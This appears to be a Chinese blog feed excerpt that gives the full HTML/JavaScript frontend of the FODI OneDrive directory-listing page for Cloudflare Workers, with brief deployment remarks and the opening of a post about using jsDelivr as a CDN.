1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
<!DOCTYPE html>

<head>
<script>
/**
* SCF_GATEWAY:SCF 云函数网关地址
* SITE_NAME:站点名称
*/
window.GLOBAL_CONFIG = {
SCF_GATEWAY: "",
SITE_NAME: "FODI",
IS_CF: true
};
if (window.GLOBAL_CONFIG.SCF_GATEWAY.indexOf('workers') === -1) {
window.GLOBAL_CONFIG.SCF_GATEWAY += '/fodi/';
window.GLOBAL_CONFIG.IS_CF = false;
}
// if (location.protocol === 'http:') {
// location.href = location.href.replace(/http/, 'https');
// }
</script>
<meta charset="utf-8">
<meta content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=no" name="viewport">
<script src="//s0.pstatp.com/cdn/expire-1-M/ionicons/4.5.6/ionicons.js"></script>
<script src="//s0.pstatp.com/cdn/expire-1-M/marked/0.6.2/marked.min.js"></script>
<script src="//s0.pstatp.com/cdn/expire-1-M/highlight.js/9.15.6/highlight.min.js"></script>
<link href="//s0.pstatp.com/cdn/expire-1-M/highlight.js/9.15.6/styles/github.min.css" rel="stylesheet" />
<link href="//s0.pstatp.com/cdn/expire-1-M/github-markdown-css/3.0.1/github-markdown.min.css" rel="stylesheet" />
<script src="//s0.pstatp.com/cdn/expire-1-M/jquery/3.4.0/jquery.min.js"></script>
<script src="//s0.pstatp.com/cdn/expire-1-M/fancybox/3.5.7/jquery.fancybox.min.js"></script>
<link href="//s0.pstatp.com/cdn/expire-1-M/fancybox/3.5.7/jquery.fancybox.min.css" rel="stylesheet" />
<style>
.password-wrapper {
display: flex;
align-items: center;
}

.password {
margin: 0 auto;
padding-top: 1em;
display: none;
}

.password input {
height: 2em;
outline: none;
border: solid rgb(218, 215, 215) 1px;
}

.password button {
background: white;
height: 2em;
outline: none;
border: solid rgb(218, 215, 215) 1px;
}

.password button:hover {
color: white;
background: rgb(218, 215, 215);
}

pre * {
font-family: Courier New;
}

.preview {
display: none;
font-size: .8em;
}

.content {
clear: both;
padding: 0 1em;
margin: 0 auto;
text-align: center;
}

.file-name {
line-height: 1em;
padding: 1em 1em 0;
text-align: center;
white-space: nowrap;
overflow: hidden;
}

.btn {
float: right;
text-align: center;
border: solid rgb(218, 215, 215) 1px;
border-radius: 1em;
margin: 1em .2em;
width: 4em;
height: 2em;
line-height: 2em;
user-select: none;
-moz-user-select: none;
-o-user-select: none;
-khtml-user-select: none;
-webkit-user-select: none;
-ms-user-select: none;
}

.btn:hover {
color: white;
background: rgb(218, 215, 215);
}

.btn.download {
margin-right: 1em;
}

#arrow-back,
#arrow-forward {
color: rgb(218, 215, 215);
}

.loading-wrapper {
display: none;
position: fixed;
height: 2em;
line-height: 2em;
margin-top: .5em;
width: 100%;
z-index: 1;
}

.loading {
color: white;
background: rgb(218, 215, 215);
height: 100%;
width: 8em;
margin: 0 auto;
text-align: center;
border-radius: 1em;
}

ion-icon {
font-size: 1.5em;
}

* {
box-sizing: border-box;
font-family: serif;
}

.markdown-body {
min-width: 200px;
margin: 0 auto;
padding: .7em 1em;
font-size: .8em;
}

.markdown-body h1,
h2,
h3,
h4,
h5,
h6 {
margin-top: 0;
}

.markdown-body img {
max-width: 90%;
max-height: 800px;
width: auto;
height: auto;
display: block;
margin: 0 auto;
}

body {
width: 100%;
height: 100%;
margin: 0;
padding: 0;
}

.header-wrapper {
position: fixed;
height: 3em;
width: 100%;
-moz-user-select: none;
-o-user-select: none;
-khtml-user-select: none;
-webkit-user-select: none;
-ms-user-select: none;
user-select: none;
}

.header {
padding: 0 1.8em 0 1em;
height: 100%;
display: flex;
align-items: center;
border-bottom: solid rgb(218, 215, 215) 1px;
}

.logo {
margin-right: .3em;
}

.site {
white-space: nowrap;
/* margin-left: auto;
padding-left: 2em; */
}

.nav {
width: 100%;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}

.nav-path,
.nav-arr {
font-size: 1em;
height: 1.5em;
margin-right: .3em;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
cursor: default;
}

#main-page:hover,
.nav-path:hover,
.tree-node:hover,
.row.file-wrapper:hover {
color: rgb(90, 101, 133);
cursor: pointer;
}


.container {
position: fixed;
width: 100%;
height: calc(100% - 3em);
margin-top: 3em;
}

.main {
position: relative;
height: 100%;
width: 100%;
}

.left {
position: absolute;
display: inline-grid;
width: 20%;
height: 100%;
font-size: .8em;
overflow: scroll;
}

.tree-node-wrapper {
margin-left: 1.5em;
}

.tree-node {
display: flex;
align-items: center;
}

.tree-node-name {
margin-left: .3em;
white-space: nowrap;
}

.right {
position: absolute;
width: 80%;
height: 100%;
margin-left: 20%;
overflow: scroll;
}

.row {
height: 2.5em;
padding: 0 .8em 0 1em;
display: flex;
align-items: center;
border-bottom: solid rgb(218, 215, 215) 1px;
}

.row.file-wrapper {
font-size: .8em;
padding: 0 1em;
height: 2em;
}

.file {
width: 100%;
display: flex;
align-items: center;
}

.name {
display: flex;
align-items: center;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
width: 70%;
padding-left: .3em;
}

.list-header .name {
width: calc(70% + 1.1em);
padding-left: 0;
}

.time {
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
text-align: right;
;
width: 133px;
}

.size {
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
margin-left: auto;
}

@media screen and (max-width: 1000px) {
.left {
display: none;
}

.right {
width: 100%;
margin-left: initial;
}
}

@media screen and (max-width: 800px) {
.name {
width: 60%;
}

.list-header .name {
width: calc(60% + 1.1em);
}

.file-name {
overflow-x: scroll;
height: 100%;
}
}

@media screen and (max-width: 600px) {
.name {
width: 75%;
}

.time {
display: none;
}

.header {
padding: 0 .3em;
}

.row {
padding: 0 .3em;
}

.row.file-wrapper {
padding: 0 .3em;
height: 3em;
}

.markdown-body {
padding: .6em .3em;
}

.file-name {
padding: 1em .3em 0;
}

.content {
padding: 0 .3em;
}

.btn.download {
margin-right: .3em;
}

.logo {
width: 2em;
height: 2em;
}


}
</style>
<script>
function createCORSRequest(method, url, timeout) {
let xhr = new XMLHttpRequest();
if ('withCredentials' in xhr) {
xhr.open(method, url, true);
} else if (typeof XDomainRequest !== 'undefined') {
xhr = new XDomainRequest();
xhr.open(method, url);
} else {
xhr = null;
}
if (xhr) {
xhr.timeout = timeout;
}
return xhr;
}

function sendRequest(method, url, data, headers, callback, error, times) {
let xhr = createCORSRequest(method, url, 2500);
xhr.onreadystatechange = () => {
if (xhr.readyState == 4 && xhr.status == 200) {
callback(xhr.responseText);
}
};
xhr.timeout = xhr.onerror = () => {
if (!times) {
times = 0;
}
console.log({
url: url,
data: data,
times: times
})
if (times < 1) {
sendRequest(method, url, data, headers, callback, error, times + 1);
} else if (typeof error === 'function') {
error();
}
}
if (headers) {
for (key in headers) {
if (headers.hasOwnProperty(key)) {
xhr.setRequestHeader(key, headers[key]);
}
}
}
if (data) {
xhr.send(data);
} else {
xhr.send();
}
}

function renderPage(data, cache) {
let files;
if (data) {
files = JSON.parse(data);
window.fileCache.set(files.parent, files);
preCache(files, 0);
} else {
files = cache;
}
if (files.parent === window.backFordwardCache.current) {
renderPath(files.parent);
if (files.encrypted) {
handleEncryptedFolder(files);
} else {
renderFileList(files);
}
renderTreeNode(files);
}
if (document.body.getAttribute('hidden')) {
document.body.removeAttribute('hidden');
}
document.querySelector('.loading-wrapper').style.display = 'none';
}

function renderPath(path) {
const createPathSpan = (text, path) => {
let pathSpan = document.createElement('span');
pathSpan.innerHTML = text.length > 20 ? text.substring(0, 20) + '..' : text;
pathSpan.className = text === '/' ? 'nav-arr' : 'nav-path';
if (path) {
addPathListener(pathSpan, path);
}
return pathSpan;
};

const paths = path.split('/');
let pathSpanWrapper = document.getElementById('path');
pathSpanWrapper.innerHTML = '';
pathSpanWrapper.appendChild(createPathSpan(window.api.root));
let continualPath = '/';
for (let i = 1; i < paths.length - 1; i++) {
continualPath += paths[i];
pathSpanWrapper.appendChild(createPathSpan(paths[i], continualPath));
pathSpanWrapper.appendChild(createPathSpan('/'));
continualPath += '/';
}
pathSpanWrapper.appendChild(createPathSpan(paths[paths.length - 1]));
}

function renderFileList(files) {
switchRightDisplay();

const createFileWrapper = (type, name, time, size, path, url) => {
let fileWrapper = document.getElementById('file-wrapper-templete').content.cloneNode(true);
fileWrapper.querySelector('ion-icon').setAttribute('name', type);
fileWrapper.querySelector('.name').innerHTML = name;
fileWrapper.querySelector('.time').innerHTML = time;
fileWrapper.querySelector('.size').innerHTML = size;
addFileListLineListener(fileWrapper.querySelector('.row.file-wrapper'), path, url, size);
return fileWrapper;
};

const formatDate = date => {
const addZero = num => num > 9 ? num : '0' + num;
date = new Date(date);
const year = date.getFullYear();
const month = addZero(date.getMonth() + 1);
const day = addZero(date.getDate());
const hour = addZero(date.getHours());
const minute = addZero(date.getMinutes());
const second = addZero(date.getSeconds());
return 'yyyy-MM-dd HH:mm:ss'
.replace('yyyy', year)
.replace('MM', month)
.replace('dd', day)
.replace('HH', hour)
.replace('mm', minute)
.replace('ss', second);
};

const formatSize = size => {
let count = 0;
while (size >= 1024) {
size /= 1024;
count++;
}
size = size.toFixed(2);
switch (count) {
case 1:
size += ' KB';
break;
case 2:
size += ' MB';
break;
case 3:
size += ' GB';
break;
case 4:
size += ' TB';
break;
case 5:
size += ' PB';
break;
default:
size += ' B';
}
return size;
};

let fileList = document.getElementById('file-list');
fileList.innerHTML = '';
files.files.forEach(file => {
if (file.name.split('.').pop() === 'md') {
if (file.url) {
renderReadme(files.parent + '/' + file.name, file.url);
}
} else {
const parent = files.parent === window.api.root ? '' : files.parent;
fileList.appendChild(createFileWrapper(
file.url ? 'document' : 'folder',
file.name,
formatDate(file.time),
formatSize(file.size),
parent + '/' + file.name,
file.url
));
}
});
}

async function renderTreeNode(files) {
const createTreeNodeWrapper = (array, type, name, path) => {
let treeNodeWrapper = document.getElementById('tree-node-wrapper-template').content
.cloneNode(true);
let icons = treeNodeWrapper.querySelectorAll('ion-icon');
icons[0].setAttribute('name', array);
icons[1].setAttribute('name', type);
treeNodeWrapper.querySelector('.tree-node-name').innerText = name;
treeNodeWrapper.appendNode = node => treeNodeWrapper.querySelector('.tree-node-wrapper').append(
node);
addTreeNodeListener(treeNodeWrapper.querySelector('.tree-node'), path);
return treeNodeWrapper;
}

const paths = files.parent.split('/');
let absolutePath = max => {
let absolutePath = '';
for (let j = 1; j <= max; j++) {
absolutePath += '/' + paths[j];
}
return absolutePath;
};
let maxIndex = paths.length - 1;
let currentTreeNode = createTreeNodeWrapper('arrow-dropdown',
'folder-open',
paths[maxIndex],
absolutePath(maxIndex)
);
files.files.forEach(file => {
if (!file.url) {
currentTreeNode.appendNode(createTreeNodeWrapper('arrow-dropright',
'folder',
file.name,
files.parent + '/' + file.name
));
}
});

for (let i = maxIndex - 1; i > 0; i--) {
const currentTreeNodeParentAbsolutePath = absolutePath(i);
let currentTreeNodeParent = createTreeNodeWrapper('arrow-dropdown',
'folder',
paths[i],
currentTreeNodeParentAbsolutePath
);
let cache = window.fileCache.get(currentTreeNodeParentAbsolutePath);
if (cache) {
cache.files.forEach(file => {
if (!file.url) {
if (file.name === paths[i + 1]) {
currentTreeNodeParent.appendNode(currentTreeNode);
} else {
currentTreeNodeParent.appendNode(createTreeNodeWrapper(
'arrow-dropright',
'folder',
file.name,
currentTreeNodeParentAbsolutePath + '/' + file.name
));
}
}
});
} else {
currentTreeNodeParent.appendNode(currentTreeNode);
}
currentTreeNode = currentTreeNodeParent;
}

const treeRoot = document.getElementById('tree-root');
treeRoot.innerHTML = '';
const cache = window.fileCache.get(window.api.root);
const currentNodeName = currentTreeNode.querySelector('.tree-node-name').innerText;
if (cache) {
cache.files.forEach(file => {
if (!file.url) {
if (file.name === currentNodeName) {
treeRoot.append(currentTreeNode);
} else {
treeRoot.append(createTreeNodeWrapper(
'arrow-dropright',
'folder',
file.name,
window.api.root + file.name
));
}
}
});
} else {
treeRoot.append(currentTreeNode);
}
}

async function renderReadme(path, url) {
const render = text => {
let markedText;
try {
markedText = marked(text, {
gfm: true,
highlight: (code, lang, callback) => {
return hljs.highlight(lang, code).value;
}
});
} catch (e) {
markedText = marked(text, {
gfm: true,
highlight: (code, lang, callback) => {
return hljs.highlight('bash', code).value;
}
});
}
if (window.backFordwardCache.current + '/README.md' === path) {
if (!window.backFordwardCache.preview) {
document.getElementById('readme').innerHTML = markedText;
document.querySelector('.markdown-body').style.display = 'block';
}
}
let cache = window.fileCache.get(path);
if (!cache || cache === true) {
window.fileCache.set(path, text);
}
};
let text = window.fileCache.get(path);
if (text === true) {
let cacheWaitReadmeFetch = setInterval(() => {
text = window.fileCache.get(path);
if (typeof text === 'object') {
render(text, path);
clearInterval(cacheWaitReadmeFetch);
} else if (text === false) {
clearInterval(cacheWaitReadmeFetch);
}
}, 100);
} else if (text) {
render(text, path);
} else {
window.fileCache.set(path, true);
sendRequest('GET', url, null, null, text => render(text, path), () => window.fileCache.set(path, false));
}
}

function handleEncryptedFolder(files) {
switchRightDisplay('encrypted');
const password = document.querySelector('.password');
const input = password.querySelector('input');
const button = password.querySelector('button');
const buttonParent = button.parentElement;
const buttonClone = button.cloneNode(true);
buttonParent.replaceChild(buttonClone, button);
input.placeholder = '请输入密码';
buttonClone.addEventListener('click', event => {
const passwd = input.value;
if (!input.value) {
return;
}
input.value = '';
input.placeholder = '正在验证..';
sendRequest(window.api.method,
window.api.url,
window.api.formatPayload(files.parent, passwd),
window.api.headers,
data => {
const newFiles = JSON.parse(data);
if (newFiles.encrypted) {
input.placeholder = '密码错误';
} else {
window.fileCache.set(newFiles.parent, newFiles);
fetchFileList(newFiles.parent);
}
},
() => window.fileCache.set(newFiles.parent, false)
);
});
}

function addPathListener(elem, path) {
elem.addEventListener('click', event => {
fetchFileList(path);
switchBackForwardStatus(path);
});
}

function addTreeNodeListener(elem, path) {
elem.addEventListener('click', event => {
fetchFileList(path);
switchBackForwardStatus(path);
});
}

function addFileListLineListener(elem, path, url, size) {
if (url) {
elem.addEventListener('click', event => {
window.backFordwardCache.preview = true;
const previewHandler = {
copyTextContent: (source, text) => {
let result = false;
let target = document.createElement('pre');
target.style.opacity = '0';
target.textContent = text || source.textContent;
document.body.appendChild(target);
try {
let range = document.createRange();
range.selectNode(target);
window.getSelection().removeAllRanges();
window.getSelection().addRange(range);
document.execCommand('copy');
window.getSelection().removeAllRanges();
result = true;
} catch (e) { }
document.body.removeChild(target);
return result;
},
fileType: suffix => {
Array.prototype.contains = function (search) {
const object = this;
for (const key in object) {
if (object.hasOwnProperty(key)) {
if ((eval('/' + search + '/i')).test(object[key])) {
return true;
}
}
}
return false;
};
if (['bmp', 'jpg', 'png', 'svg', 'webp', 'gif'].contains(suffix)) {
return 'image';
} else if (['mp3', 'flac', 'wav'].contains(suffix)) {
return 'audio';
} else if (['mp4', 'avi', 'mkv', 'flv', 'm3u8'].contains(suffix)) {
return 'video';
} else if (
[
'txt', 'js', 'json', 'css', 'html', 'java', 'c', 'cpp', 'php',
'cmd', 'ps1',
'bat', 'sh', 'py', 'go', 'asp',
].contains(suffix)
) {
return 'text';
} else if (
['doc', 'docx', 'ppt', 'pptx', 'xls', 'xlsx', 'mpp', 'rtf', 'vsd', 'vsdx'].contains(suffix)
) {
return 'office';
}
},
loadResource: (resource, callback) => {
let type;
switch (resource.split('.').pop()) {
case 'css':
type = 'link';
break;
case 'js':
type = 'script';
break;
}
let element = document.createElement(type);
let loaded = false;
if (typeof callback === 'function') {
element.onload = element.onreadystatechange = () => {
if (!loaded && (!element.readyState || /loaded|complete/.test(
element.readyState))) {
element.onload = element.onreadystatechange = null;
loaded = true;
callback();
}
}
}
if (type === 'link') {
element.href = resource;
element.rel = 'stylesheet';
} else {
element.src = resource;
}
document.getElementsByTagName('head')[0].appendChild(element);
},

createDplayer: (video, type, elem) => {
const host = '//s0.pstatp.com/cdn/expire-1-M';
const resources = [
'/dplayer/1.25.0/DPlayer.min.css',
'/dplayer/1.25.0/DPlayer.min.js',
'/hls.js/0.12.4/hls.light.min.js',
'/flv.js/1.5.0/flv.min.js'
];
let unloadedResourceCount = resources.length;
resources.forEach(resource => {
previewHandler.loadResource(host + resource, () => {
if (!--unloadedResourceCount) {
let option = {
url: video
}
if (type === 'flv') {
option.type = 'flv';
}
new DPlayer({
container: elem,
screenshot: true,
video: option
});
}
})
});
}
}
const suffix = path.split('.').pop();
let content = document.querySelector('.content');
switch (previewHandler.fileType(suffix)) {
case 'image':
let img = new Image();
img.style.maxWidth = '100%';
img.src = url;
let fancy = document.createElement('a');
fancy.setAttribute('data-fancybox', 'image');
fancy.href = img.src;
fancy.append(img);
content.innerHTML = '';
content.append(fancy);
break;
case 'audio':
let audio = new Audio();
audio.style.outline = 'none';
audio.preload = 'auto';
audio.controls = 'controls';
audio.style.width = '100%';
audio.src = url;
content.innerHTML = '';
content.append(audio);
break;
case 'video':
let video = document.createElement('div');
previewHandler.createDplayer(url, suffix, video);
content.innerHTML = '';
content.append(video);
break;
case 'text':
let pre = document.createElement('pre');
let code = document.createElement('code');
pre.append(code);
pre.style.background = 'rgb(245,245,245)';
pre.style['overflow-x'] = 'scroll';
pre.classList.add(suffix);
content.style['text-align'] = 'initial';
content.innerHTML = '';
content.append(pre);
sendRequest('GET', url, null, null, data => {
code.textContent = data;
if (size.indexOf(' B') >= 0 || size.indexOf(' KB') &&
size.split(' ')[0] < 100
) {
hljs.highlightBlock(pre);
}
});
break;
case 'office':
const officeOnline = '//view.officeapps.live.com/op/view.aspx?src=' + encodeURIComponent(url);
let div = document.createElement('div');
div.style.lineHeight = '2em';
div.style.background = 'rgba(218, 215, 215, 0.21)';
div.style.webkitTapHighlightColor = 'rgba(0, 0, 0, 0)';
div.style.cursor = 'pointer';
div.innerHTML = '新窗口打开';
div.addEventListener('click', () => window.open(officeOnline));
content.innerHTML = '';
content.appendChild(div);
if (document.body.clientWidth >= 480) {
let iframe = document.createElement('iframe');
iframe.width = '100%';
iframe.style.height = '41em';
iframe.style.border = '0';
iframe.src = officeOnline;
content.appendChild(iframe);
}
break;
default:
content.style['text-align'] = 'center';
content.innerHTML = '该文件不支持预览';
break;

}
document.querySelector('.file-name').innerHTML = path;
document.querySelector('.btn.download').addEventListener('click',
() => location.href = url
);
document.querySelector('.btn.quote').addEventListener('click',
event => {
previewHandler.copyTextContent(null, window.api.url + '?file=' + path);
const btn = document.querySelector('.btn.quote');
btn.innerHTML = '已复制';
setTimeout(() => btn.innerHTML = '引用', 250);
}
);
document.querySelector('.btn.share').addEventListener('click',
event => {
const sharePath = () => {
let arr = window.backFordwardCache.current.split('/');
let r = '';
for (let i = 1; i < arr.length; i++) {
r += '/' + arr[i];
}
return r;
}
previewHandler.copyTextContent(null,
window.location.origin +
window.location.pathname +
'?path=' + sharePath());
const btn = document.querySelector('.btn.share');
btn.innerHTML = '已复制';
setTimeout(() => btn.innerHTML = '分享', 250);
}
);
switchRightDisplay('preview');

let start = null;
let right = document.querySelector('.right');
const scrollToBottom = (timestamp) => {
if (!start) start = timestamp;
let progress = timestamp - start;
let last = right.scrollTop;
right.scrollTo(0, right.scrollTop + 14);
if (right.scrollTop !== last && progress < 1000 * 2) {
window.requestAnimationFrame(scrollToBottom);
}
};
window.requestAnimationFrame(scrollToBottom);
});
} else {
elem.addEventListener('click', event => {
fetchFileList(path);
switchBackForwardStatus(path);
});
}
}

function addBackForwardListener() {
document.getElementById('arrow-back').addEventListener('click', back);
document.getElementById('arrow-forward').addEventListener('click', forward);
document.querySelector('#main-page').addEventListener('click', () => {
fetchFileList(window.api.root);
switchBackForwardStatus(window.api.root);
});
}

function switchRightDisplay(display) {
if (display === 'preview') {
document.querySelector('.list-header').style.display = 'none';
document.querySelector('#file-list').style.display = 'none';
document.querySelector('.markdown-body').style.display = 'none';
document.querySelector('.password').style.display = 'none';
document.querySelector('.preview').style.display = 'initial'
} else if (display === 'encrypted') {
document.querySelector('.list-header').style.display = 'none';
document.querySelector('#file-list').style.display = 'none';
document.querySelector('.markdown-body').style.display = 'none';
document.querySelector('.preview').style.display = 'none';
document.querySelector('.password').style.display = 'initial';
document.querySelector('#readme').innerHTML = '';
let content = document.querySelector('.preview .content');
if (content) {
document.querySelector('.preview .content').innerHTML = '';
}
} else {
document.querySelector('.list-header').style.display = 'initial';
document.querySelector('#file-list').style.display = 'initial';
document.querySelector('.markdown-body').style.display = 'none'
document.querySelector('.preview').style.display = 'none';
document.querySelector('.password').style.display = 'none';
document.querySelector('#readme').innerHTML = '';
let content = document.querySelector('.preview .content');
if (content) {
document.querySelector('.preview .content').innerHTML = '';
}
}
}

function switchBackForwardStatus(path) {
if (path) {
window.backFordwardCache.deepest = path;
}
if (window.backFordwardCache.root !== window.backFordwardCache.current) {
window.backFordwardCache.backable = true;
document.getElementById('arrow-back').style.color = 'black';
} else {
window.backFordwardCache.backable = false;
document.getElementById('arrow-back').style.color = 'rgb(218, 215, 215)';
}
if (window.backFordwardCache.deepest !== window.backFordwardCache.current) {
window.backFordwardCache.forwardable = true;
document.getElementById('arrow-forward').style.color = 'black';
} else {
window.backFordwardCache.forwardable = false;
document.getElementById('arrow-forward').style.color = 'rgb(218, 215, 215)';
}
}

function back() {
if (!window.backFordwardCache.backable) {
return;
}
if (window.backFordwardCache.preview) {
fetchFileList(window.backFordwardCache.current);
} else {
let former = (() => {
let formerEndIndex = window.backFordwardCache.current.lastIndexOf('/');
return window.backFordwardCache.current.substring(0, formerEndIndex);
})();
former = former || window.api.root;
fetchFileList(former);
switchBackForwardStatus();
}
// console.log(window.backFordwardCache);
}

function forward() {
if (!window.backFordwardCache.forwardable) {
return
}
const current = window.backFordwardCache.current === window.api.root ? '' : window.backFordwardCache.current
const subLength = current ? current.length : 0;
const later = current + '/' +
window.backFordwardCache.deepest.substring(subLength).split('/')[1];
fetchFileList(later);
switchBackForwardStatus();
// console.log(window.backFordwardCache);
}

async function preCache(files, level) {
if (level > 2) return;
files.files.forEach(file => {
const parent = files.parent === '/' ? '' : files.parent
const path = parent + '/' + file.name;
if (!file.url) {
// console.log('caching ' + path + ', level ' + level);
window.fileCache.set(path, true);
sendRequest(window.api.method,
window.api.url,
window.api.formatPayload(path),
window.api.headers,
data => {
const files = JSON.parse(data);
window.fileCache.set(path, files);
preCache(files, level + 1);
},
() => window.fileCache.set(path, false)
);
} else if (file.name.split('.').pop() === 'md') {
// console.log('caching ' + path + ', level ' + level);
window.fileCache.set(path, true);
sendRequest('GET', file.url, null, null, text => window.fileCache.set(path, text), () => window.fileCache.set(path, false));
}
});
}

async function preCacheCheck(cache, path) {
cache.files.forEach(file => {
const prefix = path === window.api.root ? '' : path;
const nextPath = prefix + '/' + file.name;
const pathCache = window.fileCache.get(nextPath);
if (!file.url) {
if (!pathCache && pathCache !== true) {
// console.log('inner caching ' + nextPath);
window.fileCache.set(nextPath, true);
sendRequest(window.api.method,
window.api.url,
window.api.formatPayload(nextPath),
window.api.headers,
data => {
const files = JSON.parse(data);
window.fileCache.set(nextPath, files);
preCache(files, 0);
},
() => window.fileCache.set(nextPath, false)
);
}
} else if (file.name.split('.').pop() === 'md') {
if (!pathCache && pathCache !== true) {
// console.log('inner caching ' + nextPath);
window.fileCache.set(nextPath, true);
sendRequest('GET', file.url, null, null, text => window.fileCache.set(nextPath,
text), () => window.fileCache.set(nextPath,
false));
}
}
});
}

function fetchFileList(path) {
// console.log('fetching ' + path);
let loading = document.querySelector('.loading-wrapper');
loading.style.display = 'initial';
window.backFordwardCache.preview = false;
window.backFordwardCache.current = path;
let cache = window.fileCache.get(path);
if (cache === true) {
let cacheWaitFileListFetch = setInterval(() => {
cache = window.fileCache.get(path);
if (typeof cache === 'object') {
renderPage(null, cache);
preCacheCheck(cache, path);
clearInterval(cacheWaitFileListFetch);
} else if (cache === false) {
clearInterval(cacheWaitFileListFetch);
loading.style.color = 'red';
loading.innerText = 'Failed!';
setTimeout(() => {
loading.style.display = 'none';
loading.style.color = 'white';
loading.innerText = 'Loading..';
}, 2000);
}
}, 100);
} else if (cache) {
renderPage(null, cache);
preCacheCheck(cache, path);
} else {
window.fileCache.set(path, true);
sendRequest(window.api.method,
window.api.url,
window.api.formatPayload(path),
window.api.headers,
renderPage
);
}
}

document.addEventListener('DOMContentLoaded', () => {
document.title = window.GLOBAL_CONFIG.SITE_NAME;
document.querySelector('.site').textContent = window.GLOBAL_CONFIG.SITE_NAME;
window.api = {
root: '/',
url: window.GLOBAL_CONFIG.SCF_GATEWAY,
method: 'POST',
formatPayload: (path, passwd) => {
return '?path=' + encodeURIComponent(path) +
'&encrypted=' + window.api.accessToken.encrypted +
'&plain=' + window.api.accessToken.plain +
'&passwd=' + passwd;
},
headers: {
'Content-type': 'application/x-www-form-urlencoded'
}
}
window.backFordwardCache = {
root: window.api.root,
deepest: window.api.root,
current: window.api.root,
backable: false,
forwardable: false,
preview: false
}
window.fileCache = new Map();
const initialPath = new URLSearchParams(window.location.search).get('path') || window.api.root;
if (window.GLOBAL_CONFIG.IS_CF) {
window.api.accessToken = {
encrypted: '',
plain: ''
};
fetchFileList(initialPath);
addBackForwardListener();
} else {
sendRequest(window.api.method,
window.api.url + '?accessToken',
null,
window.api.headers,
data => {
const accessToken = JSON.parse(data);
window.api.accessToken = {
encrypted: accessToken.encrypted,
plain: accessToken.plain
};
fetchFileList(initialPath);
addBackForwardListener();
}
);
}
});
</script>
</head>

<body hidden="hidden">
<template id="tree-node-wrapper-template">
<div class="tree-node-wrapper">
<div class="tree-node">
<ion-icon></ion-icon>
<ion-icon></ion-icon>
<div class="tree-node-name"></div>
</div>
</div>
</template>
<template id="file-wrapper-templete">
<div class="row file-wrapper">
<div class="file">
<ion-icon></ion-icon>
<span class="name"></span>
<span class="time"></span>
<span class="size"></span>
</div>
</div>
</template>
<div class="loading-wrapper">
<div class="loading">Loading...</div>
</div>
<div class="header-wrapper">
<div class="header">
<ion-icon id="arrow-back" class="logo" name="arrow-back"></ion-icon>
<ion-icon id="arrow-forward" class="logo" name="arrow-forward"></ion-icon>
<ion-icon id="main-page" class="logo" name="folder"></ion-icon>
<div class="nav">
<span id="path">
</span>
</div>
<span class="site" id="nav-site">ONEDRIVE</span>
</div>
</div>
<div class="container">
<div class="main">
<div class="left">
<div id="tree-root">
</div>
</div>
<div class="right">
<div class="list-header">
<div class="row">
<div class="file">
<span class="name">ITEMS</span>
<span class="time">TIME</span>
<span class="size">SIZE</span>
</div>
</div>
</div>
<div id="file-list">
</div>
<div class="markdown-body">
<div id="readme">
</div>
</div>
<div class="preview">
<div class="info">
<div class="file-name"></div>
<div class="btn download">下载</div>
<div class="btn quote">引用</div>
<div class="btn share">分享</div>
</div>
<div class="content"></div>
</div>
<div class="password-wrapper">
<div class="password">
<input type="password">
<button>提交</button>
</div>
</div>
</div>
</div>
</div>
</body>

</html>

完成界面:
cloudflare editor


题外话:

那个获取refresh_token的网页并不是不可用,但是成功率巨低,我试了前前后后三十多次才一次成功……

heroku的登录需要科学上网,怎么科学上网就不要问我了,Google上大把……

以后发文件我会放到我的onedrive上,大家可以自取,地址是http://drive.bili33.top/,友链页面也有链接。

我自己部署的heroku项目不会开放给大家获取refresh_token,因为获取完一次要到后台删除refresh_token才能进行下一次的获取

]]>
+ + + + + Software + + + + + + + Software + + Onedrive + + FODI + + + +
+ + + + + jsDelivr的正确打开方式 + + /posts/jsDelivr-Usage/ + +

文章已经在2020.4.5更新

开始持续高产前几天开始,github的raw文件下载域名raw.githubusercontent.com被墙了,导致我的网站很多图片都是404(因为我是直接使用github的文件),我转为使用cloudflare的workers反代。但是反代有每日10W次的请求次数限制。万一以后我的网站访问量增大了呢?这样岂不是不够用?(在想Peach)

没错,我在想もも

今天早上我才在【日常吐槽04】的评论区里面说不会用jsDelivr,到了晚上,嗯,真香……

jsDelivr

jsDelivr是一个比较好的CDN平台,官方号称jsDelivr – Open Source CDN free, fast, and reliable,简单来说就是开源的CDN,免费、快、可靠这样的

不过确实,这玩意的口碑也挺好,那我就按照我半天的使用体验,来说说这玩意的正确打开方式吧


你需要准备:

一个github账号

开始操作

